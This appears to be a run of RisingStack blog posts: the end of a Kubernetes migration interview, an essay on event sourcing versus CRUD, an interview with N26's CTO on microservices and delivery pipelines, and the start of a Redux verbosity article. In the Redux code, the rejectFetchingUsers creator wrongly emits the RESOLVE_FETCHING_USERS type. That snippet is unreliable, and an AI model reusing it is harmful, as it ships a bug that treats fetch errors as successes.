Roberto: We deployed the project in production by the end of August, then we started doing the Gitlab CI migration in September. Then, we did a lot of work by adapting our projects so they fit in a Docker environment. Then, by the end of November and start of December we started doing the Kubernetes part. Within 1 month we had it all up an running in production.

RisingStack: Can you tell us how many developers were needed for that?

Roberto: We have 3 people in the DevOps team, and for the rest, we had the development team making some adaptations, like health checks, configurations, etc..

RisingStack: Did you face any scaling problems in your architecture? Or in the previous one?

Roberto: With the previous one, the problem was mainly versioning the deployments. How to control, what version was deployed, what wasn't. Right now we are trying to fix this problem with the container registry and controlling the versioning of the deployments in Kubernetes. That's how we are trying to solve all those issues.

RisingStack: What do you base the versioning of your containers on?

Roberto: We are doing several kinds. We are versioning by tagging the containers. We are also doing some versioning with some infrastructure files with Ansible. And in Kubernetes you can do some tricks to do versioning with the deployments - so, if you have different names for the deployment, you can roll out the version of the services. Each deployment has a config map associated with it and an image associated with it so you can have a deployment and a new version at any specific time. So that's helping a lot also.

RisingStack: I see - and what is the tag of your containers?

Roberto: We are just starting off with it. When we promote the container to production we have a production tag for it, and then we do some versioning with timestamps. We are trying to do something based on the commits, so we can track the commit to the container to do versioning of the deployment.

RisingStack: What infrastructural elements or deployment strategies do you use to ensure the reliability of your product?

Roberto: Well, that's mainly what we are doing right now. We are really trying to mature and have all the information possible of having a specific version that we can know exactly what is deployed, what configuration we had at the deployment’s time. That has given us a lot of peace of mind. So we can roll back and we can see what is running.

RisingStack: Do you automate the rollbacks or you do it by hand if there is an error?

Roberto: It's manual to a certain point, since its done on-demand. But the process is very automated. All we have to do is configure our scripts to redeploy a given version of a container on our ASG (for the Spanish platform) or a deployment on our Kubernetes cluster (for the rest).

RisingStack: How do you prevent errors from cascading between your services - in case the barriers fail, and the error starts cascading? What kind of tools do you use to locate the root cause - like logs, metrics, and distributed tracing for example?

Roberto: We use ELK to monitor application behavior and Cloudwatch to monitor infrastructure. (Recently, after our conversation, we started using Datadog, and it looks promising.) What we basically do is monitoring the latency of the services, we have some processes that perform like a global check of the system. The alerting system consists of some automated scripts that simulate a typical workflow of data in our system. If a service fails in any part of the chain, the workflow doesn't complete, and an alarm is triggered so we can fix it.

When a service falls down, our system handles errors, also, shows you the information that is available. So when a service comes down it’s not affecting all of the systems, but only that part of the system. So if you take it to the app, it's maybe only one section of the app that is not loading - it's very isolated. Basically, the microservices approach is helping us here. Also, the use of RabbitMQ and asynchronous messages with queues help us to have our system restored without losing any of the processing.

RisingStack: Did I understand correctly, that you said you have alerts for when a message goes into the system but doesn't come out where you expect it?

Roberto: There are some checks automated like that. The example I've mentioned before covers this.

RisingStack: How do you track these messages?

Roberto: We have some daemons that are connected to a Rabbit queue, and they are just checking if the messages are coming through. So if the messages are coming through, we assume that the system is performing right.

RisingStack: And how do you monitor your infrastructure? What are the main metrics to monitor on your platform right now?

Roberto: It's mainly CPU, memory, and network, it's not so much. Also, the performance in our message rates and queued messages in RabbitMQ helps us to monitor the health of the system. We are looking to integrate some DataDog, but it's a project that we want to do this quarter.

RisingStack: Have you considered using a distributed tracing a platform before?

Roberto: Yes we have seen a couple of frameworks, but we haven't done anything on that.

RisingStack: We talked a lot about your past and current architecture, so we would like to know if there are any new technologies you are excited about and you are looking forward to trying out in 2018?

Roberto: The Kubernetes project is exciting for us because we started using it by the end of 2017. We want to mature it a lot; we want to do so much more automation, maybe some operations that we can integrate with Slack, with some bots, so we can automate the deployment. Especially, what we want to do is to create environments on demand. So we can have several testing environments on demand to simplify the developers work. That's probably going to be one of the technologically interesting projects that will come. Alerts, and the delivery - doing some more automation so we can track much better which web commits go to which deployment.

Thank you very much guys for being here and telling us all these exciting things. Thank you very much, Roberto, thank you very much, Angel, for being here.

Event sourcing is gaining more and more attention. This is partly due to the increasing interest in domain-driven design (DDD) and CQRS, to which event sourcing fits well in conceptual terms. But what else is it suitable for? And where does it not fit? In order to be able to answer the question of when event sourcing or CRUD is the more appropriate approach, it is advisable to clarify first of all what exactly event sourcing is – and what it is not.

In many cases event sourcing is combined with domain-driven design (DDD) and the design pattern CQRS, but it is only partly related to the two concepts. Event sourcing is a specific procedure for storing data. Unlike the traditional approach with a relational database, event sourcing does not persist the current state of a record, but instead stores the individual changes as a series of deltas that led to the current state over time.

Determining the current state

The procedure is similar to the way a bank manages an account, for example. The bank does not save the current balance. Instead, it records the deposits and withdrawals that occur over time. The current balance can then be calculated from this data: if the account was first opened with a deposit of 500 EUR, then another 200 EUR were added, and then 300 EUR were debited, the following calculation takes place:

  500 (deposit)
+ 200 (deposit)
- 300 (payment)
  ---
= 400 (balance)

The current account balance is 400 EUR. The procedure can be continued over an arbitrary period of time, only the number of summands grows gradually. If domain-related facts that contain certain semantics (the so-called events) are stored instead of simple numbers, any process can be mapped.

Restoring the current state by playing back the individual events is called replay. As a special feature of event sourcing, it is not only possible to determine the current state, but also any state from the past. To do this, it is only necessary to stop the replay at the desired time in the past and not to play back the events completely. It is also possible to determine the historical development of the state, which provides an easy way for time series analysis and other evaluations of historical data.

Optimizing performance

Unfortunately, a replay becomes more and more complex as the number of events that need to be replayed increases. At first glance, the use of event sourcing seems to lead to read accesses becoming increasingly slow. However, it is easy to find a way out of the problem.

Since events are always only added at the end of the existing list and existing events are never changed, a replay calculated once will always produce the very same result for a certain point in time. If you try to follow the analogy with account management, this is obvious: the account balance at a given point in time is always the same, regardless of whether there were any deposits or withdrawals afterwards.

You can take advantage of this situation by saving the currently calculated state as a so-called snapshot. The entire history does not always have to be played back all along the way. Usually it is sufficient to start from the last snapshot and only look at the events that have been saved since then. As a snapshot only supplements history, and does not replace it, the older events are still available if they are required for an evaluation.

Learning from the past

A similar mechanism can also be used to precalculate special tables for reading data, similar to materialized views. In this case, there is no longer any need to replay, as there is already a table with the required data. However, this requires that they are always updated when a new event is saved.

It is particularly convenient that these read tables can also be completely recalculated if a different interpretation of the data is required. This means that not all evaluations that may be relevant need to be known from the very start: instead, they can also be calculated retrospectively if necessary. This reinterpretation of the data is possible for arbitrary queries as long as the original events provide the required semantics.

Event sourcing makes it possible to learn from the past in this way because, for example, the events of business processes can be analysed and interpreted on the basis of new findings or questions. However, this is only possible because events are enriched by semantics and intention, and they can only provide the necessary data in this way.

Implementing event sourcing

From a technical point of view, event sourcing is relatively simple: a storage for events is required, which only has to support adding and reading events. It is therefore a so-called append-only data store.

Of course, you can use a traditional relational database and limit its statements to INSERT and SELECT. Alternatively, there are also numerous other data storage options, such as NoSQL databases, XML files or simple text files that are stored directly in the file system.

Since compared to CRUD the statements UPDATE and DELETE are omitted, the access is easy to implement and allows a very good efficiency. The reason why the two actions UPDATE and DELETE are ignored is simply that the storage for events is intended to be a non-destructive data storage. Since the previous data is lost with every update and especially when removing records, these actions must not be used.

A data store that works according to this principle and is suitable for event sourcing is called an event store.

Using events as relational data

Incidentally, the data structure of an event store is actually relational. This seems to be a contradiction at first, since the concrete useful data of domain events hardly all use the same format. The point is, however, that this data is not relevant for the event store: all the event store needs for its work is the record ID, the order of the events and, if necessary, a timestamp. Which data is contained in an event is irrelevant for the event store.

The open source module sparbuch for Node.js implements such an event store and supports MongoDB and PostgreSQL as databases out of the box. PostgreSQL is the better and more powerful choice. If you take a look at the schema definition of the events table, you will notice that all events can be processed using a single schema:

CREATE TABLE IF NOT EXISTS "${this.namespace}_events" (
  "position" bigserial NOT NULL,
  "aggregateId" uuid NOT NULL,
  "revision" integer NOT NULL,
  "event" jsonb NOT NULL,
  "hasBeenPublished" boolean NOT NULL,
  CONSTRAINT "${this.namespace}_events_pk" PRIMARY KEY("position"),
  CONSTRAINT "${this.namespace}_aggregateId_revision" UNIQUE ("aggregateId", "revision")
);

The actual user data of the domain events are stored in the field event, which is of the type jsonb. This type is used in PostgreSQL to efficiently store arbitrary JSON data.

Similarly flexible is the schema definition of the snapshots table, which also uses the data type jsonb:

CREATE TABLE IF NOT EXISTS "${this.namespace}_snapshots" (
  "aggregateId" uuid NOT NULL,
  "revision" integer NOT NULL,
  "state" jsonb NOT NULL,
  CONSTRAINT "${this.namespace}_snapshots_pk" PRIMARY KEY("aggregateId", "revision")
);

What should be used when?

If you put it all together, this basically provides the criteria for deciding when to use event sourcing and when to use CRUD.

It is obvious that event sourcing is particularly suitable for those use cases where the traceability of changes is relevant. This may already be relevant for regular business data, but it is relevant for security-critical or sensitive data at least.

Rule 1: Event sourcing enables traceability of changes.

Instead of keeping a separate audit log, the individually stored events can be used to determine who could access which data at what point in time. Potentially, you can even go so far as to consider changes in the authorization of data as events, which also become part of the data set on the way. Since the domain and the security data merge in this way, this results in very powerful and reliable possibilities.

Rule 2: Event sourcing enables audit logs without any additional effort.

Event sourcing can also be extremely practical for debugging, as the legendary developer John Carmack already noted in 1998:

"The key point: Journaling of time along with other inputs turns a realtime
application into a batch process, with all the attendant benefits for quality
control and debugging. These problems, and many more, just go away. With a full input trace, you can accurately restart the session and play back to any point (conditional breakpoint on a frame number), or let a session play back at an arbitrarily degraded speed, but cover exactly the same code paths."

An extremely interesting option of event sourcing is to be able to depict not only a reality, but also alternative realities. Since the calculated state depends on the interpretation of the individual events, events can be evaluated differently in retrospect. This also makes it possible to work with undo and redo steps, which you can get free of charge when using event sourcing without any further action.

Rule 3: Event sourcing makes it possible to reinterpret the past.

Since domain events do not always refer to all data in a record, event sourcing also supports partial updates. There are certainly two or even more events that are not in conflict with each other and can therefore all be applied at the same time. This way the conflict potential with simultaneous changes decreases dramatically, which in turn makes the use of the software with many users easier.

Rule 4: Event sourcing reduces the conflict potential of simultaneously occurring changes.

In addition, schema changes are much easier to implement because old versions of events can be updated during loading in case of doubt. The application only needs to be able to distinguish between two versions of an event type and contain additional code that transforms one version into the other. Complex and error-prone updates of entire tables such as ALTER TABLE are completely omitted in event sourcing.

Rule 5: Event sourcing enables easy versioning of business logic.

Since the events can be used as data for a pub-sub-system in addition to pure data storage, event sourcing can also be used for integration with other systems that represent a different bounded context or even another domain.

Rule 6: Event sourcing is also suitable for integration with other systems.

When to use CRUD

Ultimately, only two aspects speak for CRUD. On the one hand, CRUD is useful if the data to be stored does not contain any semantics because it is only raw data. For example, this can be the case on the internet of things (IoT), where you have to capture and persist large amounts of sensor data. In this case, it makes sense to store data with the help of CRUD, evaluate them later, and then delete them if necessary. Event sourcing can hardly bring any advantages here.

Rule 7: CRUD is used to efficiently store raw data that does not contain semantics.

The second aspect that speaks for CRUD is the ability to check for duplicates via indices, for example. Since only the individual deltas are stored in event sourcing, it is much more difficult to determine whether two records contain the same values at a given point in time or not. A precalculated read table can help here, but this can be solved much more easily in CRUD. However, it is questionable whether the problem of uniqueness should be solved at the database level, or whether this is not rather a question of the business logic above it.

Rule 8: CRUD simplifies the search for duplicates.

The biggest criticism of CRUD, however, is the arbitrary restriction of one's own language to just four verbs (create, read, update, delete), which can hardly do justice to a domain language. Steve Yegge already described in 2006 in his very worth reading blog entry Execution in the Kingdom of Nouns that it is precisely the verbs that are relevant for a living language.

These 9: Event sourcing focuses on professionalism and semantics, while CRUD focuses on technology.

Leaving the comfort zone

If one makes a comparison on the criteria and aspects mentioned above, CRUD scores alarmingly poorly. The ninth and final thesis sums up the problem in a nutshell: CRUD is about technology – but very few applications are created to solve technological problems. Instead, software is usually written to solve real-world domain problems. The complexity inherent in the respective domain lies in its matter of subject, which can hardly be comprehensively described with a handful of verbs. Here, CRUD simply falls short of the mark.

In addition, there is the loss of the entire history and the regular destruction of data through UPDATE and DELETE statements. Both are devastating for a later evaluation of business processes, since important findings can no longer be gained, as the way in which data is generated can no longer be traced.

However, the really biggest drawback of event sourcing has not yet been mentioned: Very few developers are familiar with event sourcing. CRUD has been known to practically everyone forever, which is why the use of event sourcing means that you have to leave your beloved comfort zone. You will win massively, but you first have to experience this gain to realize that it is worth the effort (which isn't really that much, in fact).

If you use event sourcing for a while, for example in connection with CQRS and domain-driven design (DDD), the use of UPDATE and DELETE suddenly seems to be completely wrong, and you wonder how you could ever work with CRUD, and believe that you have a suitable data model in front of you.

At RisingStack, we are highly interested in building scalable and resilient software architectures. We know that a lot of our readers share our enthusiasm, and that they want to learn more about the subject too.

To expand our blogging & training initiatives, we decided to launch a new series called Top of the Stack which focuses on architecture design, development trends & best practices for creating scalable applications.

In the first episode of Top of the Stack, we interviewed Patrick Kua, the CTO of N26, a successful banking startup from Germany. Patrick is a microservices expert who spent 13 years at ThoughtWorks, and then decided to lead the tech team for a modern banking company which already serves more than 500.000 users.

During our ~30 mins long conversation we discussed a wide range of topics, with the intention of understanding how Patrick's team choose the languages and frameworks they use, how they handle testing, DevOps & continuous integration and how they develop Microservices.

The conversation is available both in an audio & written format. For the transcript, move on!

To help you navigate a little, we list the topics we cover with the anchors you can use:

• How did you join N26?
• What was it like to work with Martin Fowler?
• What languages do you use at N26?
• Why did you ditch Scala for Kotlin?
• Why do you use JavaScript on the back-end?
• What databases do you prefer at N26?
• What communication protocols do you use with Microservices?
• How do you handle testing?
• What kind of deployment strategies do you have?
• Let's discuss automation & continous integration.
• Did you face any scaling problems?
• How do you prevent errors from cascading between your services?
• How do you handle caching & ensure idempotency?
• What technologies are you looking forward to in 2018?
• How did you convince your team to use the Chaos Monkey?
• Ideal microservices size, throwaway Microservices, GDPR in EU Law.

Patrick Kua Interview Transcript:

Welcome everybody on the Top of the Stack Podcast by RisingStack, where we are talking about services and infrastructures that developers build. I'm Csaba Balogh your host, sitting with our co-host Tamas Kadlecsik, the CEO of RisingStack.

We are going to talk about the architecture of N26, a successful German startup. N26 is a mobile banking platform which allows its customers to do everything a traditional bank does - except in an easier way, and from anywhere in the world. The main markets of N26 are Germany, Austria, France, Spain and Italy, and they currently have over 500,000 users.

Our guest today is Patrick Kua, CTO of N26. Welcome Patrick, we are super happy you are here today and you could make it.

Patrick Kua - N26:

Hi, thank you very much for having me on the podcast, I'm excited to share some of the behind-the-scenes part of what makes a mobile bank successful.

RisingStack: Patrick, can you tell us a bit more about your background and how you’ve became a part of N26?

Sure, yeah! My story is kind of interesting because I've been consulting for the last 13,5 years with a firm called ThoughtWorks. Many of you may have heard of it since the chief scientist at ThoughtWorks was Martin Fowler, and we were very proud about pushing new ideas and new technologies into the industry. One of the biggest shifts was the introduction of Continuous Delivery which came out of ThoughtWorks, and I'm really honored to have worked alongside some of the people who contributed to those ideas.

I am quite a new joiner to N26 - I’ve been there for three months. They approached me to take on the role of CTO and I thought it was exciting to have this responsibility after doing a lot of consulting across lots of different industries including banking, finance, insurance amongst many others. As a consultant, you add a lot of value by bringing in new ideas and new approaches, but at the same time you end up being a little bit frustrated because you always rely on influencing people. You try to convince people to take on some of these choices that you hope will have a positive impact.

For me, one of the reasons I took on this role as the CTO is that I was really excited to meet some of the technologists, engineers, infrastructure people behind the scenes, and I was already impressed by the technology and services that they've developed. I really wanted to help them build on that base platform and lead the way around building an amazing product, which is growing and growing.

I think you mentioned we had 500.000 users. We had 500.000 customers in August last year and we grow on average by 1500 to 2000 new customers every day. And there are lots of exciting opportunities around how we grow. Joining the company was an exciting opportunity for me because one of the challenges that I used to consult in was helping organisations scale. I think it's exciting to be alongside a company as it scales and grows, and being able to support that key engineering culture.

RisingStack: When it comes to microservices Martin Fowler is a name that you really cannot really go around - did you work with him personally?

Yeah, so in ThoughtWorks Martin Fowler does a lot of visiting. I think he's very humble - he talks about how he's not the person who has a lot of the ideas. Over the 13,5 years I've been lucky enough to spend time with Martin across lots of different types of situations. I worked with him during the internal meetings about the TechRadar that ThoughtWorks publishes a couple of times a year. Also, and I've even had the joy of having Martin Fowler on-site for consulting with clients. He's very kind as well in terms of offering his platform - MartinFowler.com - and his readership with others. I'm publishing a couple of articles out there, and I think that's a really generous platform that Martin provides.

RisingStack: Yeah definitely. I think when we started out with microservices we learned most of the things from his blog too, so thank you. Can you tell us a bit more about the main languages you use for developing in N26?

N26 is obviously a mobile application, or native on both platforms - so this means that naturally we operate in Swift on the iOS platform. We use Java mostly at the moment, and also Kotlin which is being adopted by the Android team. In the back-end services and internal applications, Javascript is obviously one of the key languages, since some of the internal applications are web app-based. But most of the backend services were based on the Java platform. We have had an experiment around Scala, which the team has concluded we didn't want to continue with.

And we also have a back-end experiment around TypeScript, but we decided not to go down that path. We're currently exploring Kotlin as moving towards a more modern JVM based language. Obviously, Java 9 is coming out at some point and that would have been a natural candidate, but I think we're also interested to see how Kotlin will develop. Google is giving it a warm embrace around the Android platform.

RisingStack: Can you tell us a little bit more about why you ditched Scala and what you like about Kotlin?

I think one of the interesting thing with Scala is that there's a lot of complexity in it. It maybe opens up too many options for people, though, for me it's not really much of an opinionated language. With Scala, you end up with an interesting social problem amongst developers thanks to having a certain complexity around not knowing which way to do things. In a way it kind of reminds me the day when there was a lot of Pearl being written, and that there were many different ways of doing that. You see this in the JavaScript community too in a certain degree - there are many different ways of approaching the same set of problems. Scala has that complexity in there, so you can write very terse and I would say sometimes obscure code if you're a very powerful Scala user. But then, the complexity obviously diminishes readability for the other people who are beginning to learn the language.

I think what's really interesting from my perspective and what the team is is exploring is this kind of simplicity about the language that Kotlin has. I'm a big fan of IntelliJ since its inception, and I've been very impressed behind the pragmatism of the JetBrains team. I think that pragmatism really comes across the language of Kotlin - it’s something that helps you get on with the tasks that you need to do and gets out of your way to do it. I think they've been really focused on the ease of use which really shines in their IDE IntelliJ, and I think I'm really intrigued to see how that will continue to evolve in Kotlin. This is one of the reasons that as a team at N26 we’re moving towards Kotlin more than Scala.

RisingStack: As you mentioned, JavaScript has the same kind of complexity and a lot of ways to go when it comes to development, so why did you decide to use it on the back-end?

I don't have the exact context as to why JavaScript was picked on the back-end. We use Node.js for one of our internal applications, and I think one of the reasons for that is we have a full-stack team who own everything from end-to-end, and they are a lot more comfortable working in JavaScript. It’s a webapp-based system that doesn't maintain a lot of states, so it's a lot more point-to-point talking to other RESTful endpoints. From that perspective, it must have made sense to move in that direction - at least that's what I believe.

The feedback of that team is that they are pretty happy with it. Obviously, we don't have the challenge of everyone having to maintain the same code. It's really belonging to that team, so I think it's the language that they're most proficient in, and they are happy to maintain it since it hasn't led to a lot of unnecessary complexity.

RisingStack: Thanks for explaining it. What databases do you operate with for what purposes in N26?

We're surprisingly very ordinary. I think what I really like about the technology team is that we've picked very simple tools that are very well known and very stable. That lets us focus on speed and solving the problem of building a bank that the world loves to use. What's interesting about our stack and particularly our databases is that it's nothing special at the moment.

We have a combination of mySQL and Postgres databases. The mySQL is mostly used for a lot of the applications and services, while the Postgres database was used for reporting purposes. But we're moving away from that to Redshift for building our data warehouse. We haven't really specialized around storage yet, but it does what we need it to do and it scales for what we need right now.

RisingStack: What communication protocols do you use between your services?

We have a set of microservices. Most of the time a lot of the services are RESTful endpoints for synchronous communication. And then, we have a bunch of the asynchronous communications using queuing via SQS. These are the two protocols that we're mostly using, and we also have a couple of specialized protocols for the payments.

RisingStack: Can you tell us a bit more about you handle testing and what kind of tests do you have in place right now?

I think testing is interesting in our environment and I was very surprised about it when I joined. I think it's impressive for a bank to have this level of automation, which is much higher than what I've seen in a lot of other, more traditional banks and I think that it allows us to move very quickly. We have pretty much standard automation tests. Every team is expected to be rushing unit and integration tests where we do a lot more integration with partners. We rely a lot more on integration tests against their APIs, because with any partner, what's written down in a specifications is often not quite how a system behaves so we get a lot better feedback through those levels of tests.

We also have end-to-end automation tests. We're getting a little bit better at some of our end-to-end test including the full mobile applications, so we're developing suites that are testing the entire set of microservices, plus the front-end. And we also have a number of tests around our deployment as well. So we have a very strong automation, continuous deployment or delivery pipeline and as part of that, we also do tests when we deploy to make sure that things work well before we roll them out to customers. That's how we maintain scalability and quality for our end-users in mind.

RisingStack: You run these tests to make sure everything works fine when you deploy your services. Do you couple those with deployment strategies such as red-black or canary or something like that?

As part of a continuous delivery pipeline, we have what we call a golden server, which is the equivalent of a kind of canary, so that would be one of our steps. A pipeline service typically goes through normal unit testing, and we also have security testing automation in place to check for common vulnerabilities patterns. Then we package everything up into a deployable.

That gets shipped through different types of testing environments, so we go around integration and acceptance testing environments. Before it gets released, it goes into what we call the golden server, and if that works well then we'll slowly roll that out. Then we have a blue-green process where all the services will be upgraded in one of the area before we switch over traffic. And then the rest of the services would be updated without a deployable.

RisingStack: Wow, I think a lot of people dream about having this kind of automation in place. Quite often we have clients coming to us to put some automation in place for them, but usually when we tell them about all these things, they just kind of recoil from the idea of spending so much time of DevOps. But yeah, it's definitely impressive.

What I'm really proud of is that the team had this idea about investment in automation very early on. I see it really paying back because when we release - and we release hundreds of times per week - we’re able to do that with safety in mind and knowing that we'll be able to provide a good quality service as a digital bank. It's a really exciting place for people to work - imagine what's possible with that right direction and the right level of automation done very early on.

And when I think about it, you probably have the same situation with your clients and I was having it when doing consulting as well: It's scary to think about how traditional banks do things.

RisingStack: Do you use any specific CI tools?

So we use Jenkins as a main orchestrator but we don't use any special CI tools on top of that, the deployment and the entire pipeline is made through it. It's easy with Jenkins to click and configure everything. We've taken automation, source control and the idea of continuous delivery to heart, the infrastructure is very much source-controlled and managed that way. And so is our continuous delivery pipeline, which in a lot of places is another single point of failure. But for us, it's all source controlled and managed that way.

RisingStack: Did you face any scaling problems in your current architecture? And if you did how did you solve it?

At the moment our architecture is quite scalable, so we haven't really faced any internal scaling challenges. I think what's interesting is that we have a number of products that we've partnered with other companies for, and unfortunately, we have hit scaling problems with some of their external integrations. From what I understood, I think you were fairly impressed by the level of automation and CD processes that we have in place.

Unfortunately some of our partners don't have the same level of excitement, so sometimes the only place that we can do the tests is with test accounts in environments because partners haven't quite got the same level of rigor that we want. We're trying to work with them on that, but I would say that some of the scaling challenges that we have is making sure that our partners have the same level of quality that we expect in demand from our own internal services.

RisingStack: How do you prevent errors from cascading between your services?

At the moment we have timeouts and retries as part of that. We haven't got to any level of distributed tracing yet, and I think one of the reasons is that we have really excellent monitoring. For us, the user experience is really key both in terms of how users use the application and the focus we have on design and usability. It also translates into a really relentless focus on making sure that we know when users are starting to have errors before they do. When we are starting to detect errors we have a lot of information on all sorts of endpoints, so we’re able know when things don't look right, and then the teams can very quickly respond to that.

RisingStack: Can you tell us a little bit more about the timeouts use? Because you know, it can be problematic if you just use simple static timeouts and then longer queries. Can it be served properly? So how do you go around that?

I don't know the exact details because we have quite a lot of different services and it's more up to the team tech leads to make sure that happens. So it's a level of detail I wouldn't be able to honestly say. But I know that we do have some level of timeouts and retries for each team and service.

RisingStack: I see and do you use caching between services? And so when it comes to these infrastructural elements - I would like to just list some, so caching between services, or circuit breakers. Do you make sure that side effects are kept idempotent between services?

Yes, so for us, obviously transactions are quite important about idempotency and we make sure that when things are repeated, they can't be double-booked from that perspective. Also, it really depends on the types of services that you're talking about, so we have caching around some other more static type of informations. I think we use histories as well in terms of some of the tooling around the retry and circuit breaking, but I'm not really sure how consistently that's used across all the services yet.

I think all the tech leads make sure that there are responsible amounts of timeouts and retries around that. But I don't think it makes sense from our platforms to really standardize on one thing for all services, because for us, it really depends on the types of characteristics per service. So there are some services that are obviously less used because they're more references to static data. And then there are other services, such as transactions which are super high throughput, where we really need to make sure that they work, and idempotency is key for that.

RisingStack: I see, and can you tell us a little bit of details about how idempotency is ensured where it has to be?

I think it's basically whenever you book a transaction and you move money, if something fails to get booked, then we don't want to double-book that. And for us that's probably the real key part of moving money around which is like the heart of banking, really.

RisingStack: We at RisingStack take it very seriously to keep up with new technologies and we are very excited about what's coming next. So we would be very glad if you could share what specific technologies you are looking forward to in 2018 - and looking forward to implement at N26.

Yeah, so I think what's really exciting about the base platform that we have is that it's already quite mature from a continuous delivery perspective. And I think for us, security is a key thing that we're really trying to weave in. There's a movement which is beyond DevOps, DevSecOps and this is really about the way that we can bring in more automation and more security checking into place and weave that into the entire development process.

I think that as a general movement it is a really exciting place to be. I think you need really good DevOps and good continuous delivery processes to get to that next level. For us that's a really exciting place to be, because I think we have those base fundamentals. That means that we have a really good opportunity to weave security in more continuously and lead the edge in that way.

Also, I think that there’s another field that goes hand-in-hand with continuous delivery - the idea of continuous compliance. I think one of the interesting things about working in a bank is regulations and reporting, and I think this is something that continuous delivery does really help with. When you have builds, you have a lot of strong traceability about the reports and the information that come out of that. And I think that moving towards continuous compliance is a really great way of being able to understand how do we extract or keep track of the information from our builds. And a continuous delivery pipeline proves that we are continually compliant. There's a tool that we are looking at which is called dev-sec.io, it’s for hardening services.

But what's really interesting is the way that they've also built it which is using BDT style scenarios - that means that you get really good documentation about the tests that you run against your service to make sure that you can tie it back to the purpose of the test and the regulation. And then you get automated reporting as part of that.

And then our other goals are really around chaos engineering and chaos testing. Reliability for us is also another key, a bank has to be continually available. What I've seen to happen a lot with traditional banks is that they may plan one test year where they manually test a DR (disaster recovery) activation. We're in a really good spot to move towards experimenting with some of the chaos testing tools that are out there, so chaos monkey from Netflix and some of the other types of tools that are coming out there. Together they will help us build resilience and reliability from the get-go, and to make sure that each service that we build really has that aspect in mind.

So these are the two trends that I'm really excited about, that we're gonna be taking our company on in N26. Both I feel add a lot of value both in terms of safety and reliability and allow us to really focus on the product, once we have them part of our normal development process.

RisingStack: I cannot help but ask two questions. One of them is, whenever I mention Chaos Monkey to anybody, they just lose their minds, and everybody is saying “no, we're not ready for that yet”. And nobody ever feels they're ready for Chaos Monkey. So was it difficult to convince people to go that way?

We're still on that journey, but I think people are really keen and eager for that. I think the interesting thing at N26 is that everyone is very pragmatic. It's not about using chaos monkey for the sake of it. Everyone is behind the idea that we have to prove ourselves the resiliency constantly available, and therefore something like the chaos engineering toolset really makes a big difference. Also, I think everyone is really bought into the agile mindset of starting small, learning from that, and the more that you test and break your system the more resilient and stronger it gets.

I'm kind of lucky here, I didn't have to do a lot of convincing. I think that maybe people are a bit cautious about how we will roll this out, but I think everyone is keen to give it a go.

Because I think it's

A) really exciting field to be in and
B) adds a lot of value for our users who we are building software for.

So I think both of those things are really exciting to be an engineer at N26.

RisingStack: That's really great. The other one I wanted to ask you is that you mentioned that the business requirements and regulations change quickly when it comes to banking. And I couldn't help but think of Richard Rodgers book, the TAO of Microservices. The main argument he has is that you want to have your microservices as cattle and not pets, so practically you want to have throwaway microservices. And when there's a new regulation or a new business requirement, you just plug in a new service to handle that or throw away an old one and create a new one from scratch. Because they should be so small and so quick to develop that it shouldn't be a problem. Do you follow anything like that?

So I think in principle yes, microservices should be small sized and rewritable. I think there's also a question of how small is small, which is always a constant raging battle in the microservices world.

I think what's interesting - if I go back to the question about regulation - is that, like all things, it depends because there are some regulations that are really cross-cutting across all types of domain areas. The latest one is GDPR which is about data protection in the EU and about the right for student privacy. I think this is an interesting one, because you can argue that you could contain all information recorded about a person in a single place of your system, but that may not be what is important for how your business works. So you'll often have your customer view from a customer services perspective, but then you also have your account view of what that customer has registered with. And there's always that tension between putting all of that into a single place which means that you'll naturally have a bigger service to replace or just read. And then having to work out what thing is affected by the regulation. So, I think from that perspective there isn’t an easy answer to say you can put all things into a single service and you will be able to easily replace that to comply with regulation, because it really comes down to what it is that you need to be compliant with, and to understanding the impact of it across your domain. There will be some things that will cut across all things and some of them that will be a lot more isolated.

I think what really matters is more awareness about why the regulation is there, rather than simply following it. What often happens is that you have to do this implementation because rule such-and-such says without thinking about what the intent behind that is.

RisingStack: Thank you very much Patrick for sharing your insights with us today and telling more about your role what you play at N26 it was great to hear how your system is built and where you're going so thanks a lot for your time today.

All right thank you very much for the for having me on the podcast, I really enjoyed sharing the stories of N26 and thank you very much for the conversation.

--

If you'd like to learn more about JavaScript, Microservices & Kubernetes, visit RisingStack's engineering blog.

I’ve been involved in react-redux projects for several years. After I first met with flux, I was impressed by its expressive power that describes complicated use cases in contrast to other dataflow concepts, which caused many troubles when the complexity of a project increased.

The action controlled dataflow concept is simple and clear. Data changes can be described as actions with a minimal payload. These actions make a deterministic, time-independent history of the application’s life. The application’s state at a given point is reducible by picking an action in the chain.

The concept of Redux has many theoretical principles and advantages, but I do not intend to talk about them. There is only one major disadvantage of immutability: the cost of it. But the price we must pay for immutable data handling is multiple refunded by avoiding re-renders and reflows in React applications. We can always keep track of the difference between two consecutive states, and that is something why I cannot list immutability as a disadvantage of Redux.

Motivation

Redux has one more disadvantage: it is painfully verbose.

Let's suppose we want to create an async action, which fetches users and saves them in a Redux store instance. We need 3 action definitions:

const START_FETCHING_USERS = "START_FETCHING_USERS";
const RESOLVE_FETCHING_USERS = "RESOLVE_FETCHING_USERS";
const REJECT_FETCHING_USERS = "REJECT_FETCHING_USERS";

The first action type START_FETCHING_USERS starts the process,RESOLVE_FETCHING_USERS provides the new set of users, and REJECT_FETCHING_USERS is emitted if there is an error during fetching.

Let's see the action creators:

const startFetchingUsers = () => ({ type: START_FETCHING_USERS });
const resolveFetchingUsers = users => ({ type: RESOLVE_FETCHING_USERS, users });
const rejectFetchingUsers = error => ({ type: RESOLVE_FETCHING_USERS, error });

and the reducer:

const initState = {
 isFetching: false,
 users: [],
 error: null
}

const reducer = (state = initState, action) => {
 switch (action.type) {
   case START_FETCHING_USERS: return {
     ...state,
     isFetching: true
   };
   case RESOLVE_FETCHING_USERS: return {
     ...state,
     isFetching: false,
     users: action.users
   };
   case REJECT_FETCHING_USERS: return {
     ...state,
     isFetching: false,
     error: action.error
   };
   default: return state;
 }
}

All that remains is to implement the async thunk action creator:

const fetchUsers = () => async (dispatch, getState, { api }) => {
 dispatch(startFetchingUsers());
 try {
   const users = await api.get('/users');
   dispatch(resolveFetchingUsers(users));
 } catch (error) {
   dispatch(rejectFetchingUsers(error.message));
 }
}

Okay, we finished the Redux parts & we're almost done. Now we just need to connect the action creators and the state to the React component, and we are good to go!

For this simple feature, we needed to type a lot of lines for

• action types,
• action creators,
• action handlers in the reducer,

and we have not written any view components yet.

This is especially inconvenient when we are involved in developing a large application with thousands of action types, action creators, and sub-reducers. It causes further difficulties too, because these resources are separated in many files, in different places. So if we want to trace the effect of an action, we have to follow the flow of data across many files, which makes it easy to get lost.

